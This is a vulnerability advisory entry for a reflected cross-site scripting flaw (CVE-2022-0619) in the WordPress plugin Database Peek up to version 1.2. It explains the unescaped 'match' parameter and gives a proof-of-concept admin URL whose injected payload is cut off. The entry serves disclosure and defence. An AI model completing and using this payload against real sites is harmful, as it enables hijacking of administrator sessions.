Lucene search
Ran CraneWPVDB-ID:D18892C6-2B19-4037-BC39-5D170ADAF3D9HistoryMar 01, 2022 - 12:00 a.m.
Database Peek <= 1.2 - Reflected Cross-Site Scripting
2022-03-0100:00:00
Ran Crane
wpscan.com
18
0.001 Low
EPSS
Percentile
40.2%
The plugin does not sanitize and escape the match parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.
PoC
https://example.com/wp-admin/admin.php?page=ab-database-peek&table;=wp_users&match;=">
| CPE | Name | Operator | Version |
|---|---|---|---|
| database-peek | eq | * |
Related
prion
prion
Cross site scripting
2022-03-28 18:15:00
nvd
nvd
CVE-2022-0619
2022-03-28 18:15:09
patchstack
patchstack
cve
cve
CVE-2022-0619
2022-03-28 18:15:09
wpexploit
wpexploit
Database Peek <= 1.2 - Reflected Cross-Site Scripting
2022-03-01 00:00:00
cvelist
cvelist
CVE-2022-0619 Database Peek <= 1.2 - Reflected Cross-Site Scripting
2022-03-28 17:23:03